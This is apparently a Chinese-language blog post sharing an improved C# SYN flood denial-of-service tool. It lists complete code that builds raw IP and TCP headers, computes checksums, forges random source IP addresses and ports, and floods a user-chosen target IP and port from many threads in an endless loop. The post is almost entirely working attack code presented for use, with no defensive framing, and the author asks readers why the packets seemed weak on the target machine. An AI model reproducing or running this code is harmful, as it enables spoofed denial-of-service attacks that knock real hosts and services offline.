关于C# SYN泛洪攻击代码的一些改进
前段时间在看了博主 国际海员 的文章,一篇关于“NET平台下的IP欺骗和SYN Flood攻击”,在文章中,关于博主的多线程代码部分,鄙人有了些自己的改进,另外在整体代码布局上也整理了一下,使之看起来思路更加清晰,鄙人刚开园,也处于学习进步之中,还有很多地方不是特别清楚,还请众位博友指教。废话少说,上代码
public class Program
{
static void Main(string[] args)
{
//RawSocket rs = new RawSocket();
//rs.CreateAndBindSocket("127.0.0.1");
//while (true) rs.Run();
Console.WriteLine("请输入IP:");
string sip = Console.ReadLine();
Console.WriteLine("请输入端口:");
int port = Convert.ToInt32(Console.ReadLine());
Console.WriteLine("请输入线程数:");
int ThreadNumber = Convert.ToInt32(Console.ReadLine());
SYN syn = new SYN(sip, port);
Thread[] th = new Thread[ThreadNumber];
for (int i = 0; i < ThreadNumber; i++)
{
th[i] = new Thread(new ThreadStart(syn.synFS));
th[i].Start();
}
}
}
1 unsafe public struct ipHeader //IP首部信息 2 { 3 public byte ip_verlen; //4位首部长度+4位IP版本号 4 public byte ip_tos; //8位服务类型TOS 5 public ushort ip_totallength; //16位数据包总长度(字节) 6 public ushort ip_id; //16位标识 7 public ushort ip_offset; //3位标志位 8 public byte ip_ttl; //8位生存时间 TTL 9 public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.) 10 public ushort ip_checksum; //16位IP首部校验和 11 public uint ip_srcaddr; //32位源IP地址 12 public uint ip_destaddr; //32位目的IP地址 13 14 public ipHeader(string hh) 15 { 16 this.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint));//ipv4,20字节ip头,这个固定就是69 17 this.ip_tos = 0; //这个0就行了 18 this.ip_totallength = 0x2800; //这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800 19 this.ip_id = 0x9B18; 20 this.ip_offset = 0x40; 21 this.ip_ttl = 64; 22 this.ip_protocol = 6; 23 this.ip_checksum = UInt16.Parse("0"); 24 this.ip_destaddr = 0; 25 this.ip_srcaddr = 0; 26 } 27 }
1 unsafe public struct psdHeader //TCP伪首部 2 { 3 public uint saddr; //源地址 4 public uint daddr; //目的地址 5 public byte mbz; 6 public byte ptcl; //协议类型 7 public ushort tcpl; //TCP长度 8 9 public psdHeader(string hh) 10 { 11 this.saddr = 0; 12 this.daddr = 0; 13 this.mbz = 0; 14 this.ptcl = 6; 15 this.tcpl = 0x1400; 16 } 17 }
1 unsafe public struct tcpHeader //TCP首部 2 { 3 public ushort th_sport; //16位源端口 4 public ushort th_dport; //16位目的端口 5 public int th_seq; //32位序列号 6 public uint th_ack; //32位确认号 7 public byte th_lenres; //4位首部长度/6位保留字 8 public byte th_flag; //6位标志位 9 public ushort th_win; //16位窗口大小 10 public ushort th_sum; //16位校验和 11 public ushort th_urp; //16位紧急数据偏移量 12 13 public tcpHeader(string hh) 14 { 15 this.th_sport = 0; 16 this.th_dport = 0; 17 this.th_seq = 0; 18 this.th_ack = 0; 19 this.th_lenres = (byte)((sizeof(tcpHeader) / 4 << 4 | 0)); 20 this.th_flag = 2; 21 this.th_win = ushort.Parse("16614"); 22 this.th_sum = UInt16.Parse("0"); 23 this.th_urp = UInt16.Parse("0"); 24 } 25 }
1 public class Tools 2 { 3 //这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样 4 public static UInt16 checksum(UInt16[] buffer, int size) 5 { 6 Int32 cksum = 0; 7 int counter; 8 counter = 0; 9 10 while (size > 0) 11 { 12 UInt16 val = buffer[counter]; 13 14 cksum += Convert.ToInt32(buffer[counter]); 15 counter += 1; 16 size -= 1; 17 } 18 19 cksum = (cksum >> 16) + (cksum & 0xffff); 20 cksum += (cksum >> 16); 21 return (UInt16)(~cksum); 22 } 23 24 25 26 //这个是计算校验,把那些类型不一样的全转为16位字节数组用的 27 public static UInt16 chec(byte[] buffer, int size) 28 { 29 Double double_length = Convert.ToDouble(size); 30 Double dtemp = Math.Ceiling(double_length / 2); 31 int cksum_buffer_length = Convert.ToInt32(dtemp); 32 UInt16[] cksum_buffer = new UInt16[cksum_buffer_length]; 33 int icmp_header_buffer_index = 0; 34 for (int i = 0; i < cksum_buffer_length; i++) 35 { 36 cksum_buffer[i] = 37 BitConverter.ToUInt16(buffer, icmp_header_buffer_index); 38 icmp_header_buffer_index += 2; 39 } 40 UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length); 41 return u_cksum; 42 } 43 44 //这个是把ip部分转为字节数组用的 45 public static Int32 ipto(ipHeader iph, byte[] Buffer, int size) 46 { 47 Int32 rtn = 0; 48 int index = 0; 49 byte[] b_verlen = new byte[1]; 50 b_verlen[0] = iph.ip_verlen; 51 byte[] b_tos = new byte[1]; 52 b_tos[0] = iph.ip_tos; 53 byte[] b_totallen = BitConverter.GetBytes(iph.ip_totallength); 54 byte[] b_id = BitConverter.GetBytes(iph.ip_id); 55 byte[] b_offset = BitConverter.GetBytes(iph.ip_offset); 56 byte[] b_ttl = new byte[1]; 57 b_ttl[0] = iph.ip_ttl; 58 byte[] b_protol = new byte[1]; 59 b_protol[0] = iph.ip_protocol; 60 byte[] b_checksum = BitConverter.GetBytes(iph.ip_checksum); 61 byte[] b_srcaddr = BitConverter.GetBytes(iph.ip_srcaddr); 62 byte[] b_destaddr = BitConverter.GetBytes(iph.ip_destaddr); 63 Array.Copy(b_verlen, 0, Buffer, index, b_verlen.Length); 64 index += b_verlen.Length; 65 Array.Copy(b_tos, 0, Buffer, index, b_tos.Length); 66 index += b_tos.Length; 67 Array.Copy(b_totallen, 0, Buffer, index, b_totallen.Length); 68 index += b_totallen.Length; 69 Array.Copy(b_id, 0, Buffer, index, b_id.Length); 70 index += b_id.Length; 71 Array.Copy(b_offset, 0, Buffer, index, b_offset.Length); 72 index += b_offset.Length; 73 Array.Copy(b_ttl, 0, Buffer, index, b_ttl.Length); 74 index += b_ttl.Length; 75 Array.Copy(b_protol, 0, Buffer, index, b_protol.Length); 76 index += b_protol.Length; 77 Array.Copy(b_checksum, 0, Buffer, index, b_checksum.Length); 78 index += b_checksum.Length; 79 Array.Copy(b_srcaddr, 0, Buffer, index, b_srcaddr.Length); 80 index += b_srcaddr.Length; 81 Array.Copy(b_destaddr, 0, Buffer, index, b_destaddr.Length); 82 index += b_destaddr.Length; 83 if (index != size/* sizeof(IcmpPacket) */) 84 { 85 rtn = -1; 86 return rtn; 87 } 88 89 rtn = index; 90 return rtn; 91 92 } 93 94 //这个是把tcp伪首部转为字节数组用的 95 public static Int32 pshto(psdHeader psh, byte[] buffer, int size) 96 { 97 Int32 rtn; 98 int index = 0; 99 byte[] b_psh_saddr = BitConverter.GetBytes(psh.saddr); 100 byte[] b_psh_daddr = BitConverter.GetBytes(psh.daddr); 101 byte[] b_psh_mbz = new byte[1]; 102 b_psh_mbz[0] = psh.mbz; 103 byte[] b_psh_ptcl = new byte[1]; 104 b_psh_ptcl[0] = psh.ptcl; 105 byte[] b_psh_tcpl = BitConverter.GetBytes(psh.tcpl); 106 Array.Copy(b_psh_saddr, 0, buffer, index, b_psh_saddr.Length); 107 index += b_psh_saddr.Length; 108 Array.Copy(b_psh_daddr, 0, buffer, index, b_psh_daddr.Length); 109 index += b_psh_daddr.Length; 110 Array.Copy(b_psh_mbz, 0, buffer, index, b_psh_mbz.Length); 111 index += b_psh_mbz.Length; 112 Array.Copy(b_psh_ptcl, 0, buffer, index, b_psh_ptcl.Length); 113 index += b_psh_ptcl.Length; 114 Array.Copy(b_psh_tcpl, 0, buffer, index, b_psh_tcpl.Length); 115 index += b_psh_tcpl.Length; 116 if (index != size) 117 { 118 rtn = -1; 119 return rtn; 120 } 121 else 122 { 123 rtn = index; 124 return rtn; 125 } 126 127 } 128 //这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。 129 public static Int32 tchto(tcpHeader tch, byte[] buffer, int size) 130 { 131 Int32 rtn; 132 int index = 0; 133 byte[] b_tch_sport = BitConverter.GetBytes(tch.th_sport); 134 byte[] b_tch_dport = BitConverter.GetBytes(tch.th_dport); 135 byte[] b_tch_seq = BitConverter.GetBytes(tch.th_seq); 136 byte[] b_tch_ack = BitConverter.GetBytes(tch.th_ack); 137 byte[] b_tch_lenres = new byte[1]; 138 b_tch_lenres[0] = tch.th_lenres; 139 byte[] b_tch_flag = new byte[1]; 140 b_tch_flag[0] = tch.th_flag; 141 byte[] b_tch_win = BitConverter.GetBytes(tch.th_win); 142 byte[] b_tch_sum = BitConverter.GetBytes(tch.th_sum); 143 byte[] b_tch_urp = BitConverter.GetBytes(tch.th_urp); 144 Array.Copy(b_tch_sport, 0, buffer, index, b_tch_sport.Length); 145 index += b_tch_sport.Length; 146 Array.Copy(b_tch_dport, 0, buffer, index, b_tch_dport.Length); 147 index += b_tch_dport.Length; 148 Array.Copy(b_tch_seq, 0, buffer, index, b_tch_seq.Length); 149 index += b_tch_seq.Length; 150 Array.Copy(b_tch_ack, 0, buffer, index, b_tch_ack.Length); 151 index += b_tch_ack.Length; 152 Array.Copy(b_tch_lenres, 0, buffer, index, b_tch_lenres.Length); 153 index += b_tch_lenres.Length; 154 Array.Copy(b_tch_flag, 0, buffer, index, b_tch_flag.Length); 155 index += b_tch_flag.Length; 156 Array.Copy(b_tch_win, 0, buffer, index, b_tch_win.Length); 157 index += b_tch_win.Length; 158 Array.Copy(b_tch_sum, 0, buffer, index, b_tch_sum.Length); 159 index += b_tch_sum.Length; 160 Array.Copy(b_tch_urp, 0, buffer, index, b_tch_urp.Length); 161 index += b_tch_urp.Length; 162 if (index != size) 163 { 164 rtn = -1; 165 return rtn; 166 } 167 else 168 { 169 rtn = index; 170 return rtn; 171 } 172 } 173 174 }
1 unsafe public class SYN 2 { 3 private uint ip; 4 private ushort port; 5 private EndPoint ep; 6 private Random rand; 7 private Socket sock; 8 9 public SYN(string _ip, int _port) 10 { 11 IPHostEntry pe = Dns.GetHostByName(_ip); 12 ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序 13 port = ushort.Parse(_port.ToString()); 14 ep = new IPEndPoint(pe.AddressList[0], port); 15 rand = new Random(); 16 17 sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP); 18 sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1); 19 //这2个挺重要,必须这样才可以自己提供ip头 20 } 21 22 public void synFS() 23 { 24 string ss = ""; 25 ipHeader iph = new ipHeader(ss); 26 psdHeader psh = new psdHeader(ss); 27 tcpHeader tch = new tcpHeader(ss); 28 string sip = ""; //源地址 29 int sport = 0; //源端口 30 while (true) 31 { 32 sip = rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255) + "." + rand.Next(1, 255); 33 sport = rand.Next(1, 65535); 34 byte[] senddata=this.CreateData(iph, psh, tch, sip, sport); 35 try 36 { 37 Console.WriteLine("已伪造IP源地址为:" + sip + " 端口:" + sport); 38 sock.SendTo(senddata, ep); //构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了 39 } 40 catch 41 { 42 Console.WriteLine("发送错误"); 43 return; 44 } 45 46 47 } 48 49 } 50 private byte[] CreateData(ipHeader iph,psdHeader psh,tcpHeader tch,string sip,int sport) 51 { 52 53 //上面这一大堆东西就是计算校验和的方法了,方法是 54 //1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和 55 //2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节 56 //3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和 57 //4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦 58 59 psh.saddr = iph.ip_srcaddr = Convert.ToUInt32(IPAddress.Parse(sip).Address); 60 61 ushort duankou = Convert.ToUInt16(sport); 62 byte[] bt = BitConverter.GetBytes(duankou); 63 Array.Reverse(bt); 64 tch.th_sport = BitConverter.ToUInt16(bt, 0); 65 tch.th_seq = IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646, 2147483646)); 66 //上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序 67 68 iph.ip_checksum = 0; 69 tch.th_sum = 0; 70 //因为循环中,所以每次必须把这2个已有数的清0才可计算 71 byte[] psh_buf = new byte[sizeof(psdHeader)]; 72 Int32 index = 0; 73 index = Tools.pshto(psh, psh_buf, sizeof(psdHeader)); 74 if (index == -1) 75 { 76 Console.WriteLine("构造tcp伪首部错误"); 77 throw new Exception("构造tcp伪首部错误"); 78 } 79 80 index = 0; 81 byte[] tch_buf = new byte[sizeof(tcpHeader)]; 82 index = Tools.tchto(tch, tch_buf, sizeof(tcpHeader)); 83 if (index == -1) 84 { 85 Console.WriteLine("构造tcp首部错误1"); 86 throw new Exception("构造tcp首部错误1"); 87 } 88 89 index = 0; 90 byte[] tcphe = new byte[sizeof(psdHeader) + sizeof(tcpHeader)]; 91 Array.Copy(psh_buf, 0, tcphe, index, psh_buf.Length); 92 index += psh_buf.Length; 93 Array.Copy(tch_buf, 0, tcphe, index, tch_buf.Length); 94 index += tch_buf.Length; 95 tch.th_sum = Tools.chec(tcphe, index); 96 97 //-------------------------------------------------------------------- 98 index = 0; 99 index = Tools.tchto(tch, tch_buf, sizeof(tcpHeader)); 100 if (index == -1) 101 { 102 Console.WriteLine("构造tcp首部错误2"); 103 throw new Exception("构造tcp首部错误2"); 104 } 105 106 107 index = 0; 108 byte[] ip_buf = new byte[sizeof(ipHeader)]; 109 index = Tools.ipto(iph, ip_buf, sizeof(ipHeader)); 110 if (index == -1) 111 { 112 Console.WriteLine("构造ip首部错误1"); 113 throw new Exception("构造ip首部错误1"); 114 } 115 index = 0; 116 byte[] iptcp = new byte[sizeof(ipHeader) + sizeof(tcpHeader)]; 117 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length); 118 index += ip_buf.Length; 119 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length); 120 index += tch_buf.Length; 121 iph.ip_checksum = Tools.chec(iptcp, index); 122 index = 0; 123 index = Tools.ipto(iph, ip_buf, sizeof(tcpHeader)); 124 if (index == -1) 125 { 126 Console.WriteLine("构造ip首部错误2"); 127 throw new Exception("构造ip首部错误2"); 128 } 129 index = 0; 130 Array.Copy(ip_buf, 0, iptcp, index, ip_buf.Length); 131 index += ip_buf.Length; 132 Array.Copy(tch_buf, 0, iptcp, index, tch_buf.Length); 133 index += tch_buf.Length; 134 if (iptcp.Length != (sizeof(ipHeader) + sizeof(tcpHeader))) 135 { 136 Console.WriteLine("构造iptcp报文错误"); 137 throw new Exception("构造iptcp报文错误"); 138 } 139 return iptcp; 140 } 141 }
在线程栈中独立申请了IP首部,TCP伪首部和TCP首部,实现互不干扰,这样就能实现一个对象,多个线程。另外,据说微软在WIN7开始就不能再使用原始套接字,一些博友说使用管理员权限运行可以,一些博友说不行,我自己测试的是,编译没问题,但是在目标机器上数据包好像不怎么明显,也不知道是不是这个原因,知道的博友麻烦告诉我一声,不胜感激!
原文出处:http://blog.csdn.net/zou_seafarer/article/details/6208833

浙公网安备 33010602011771号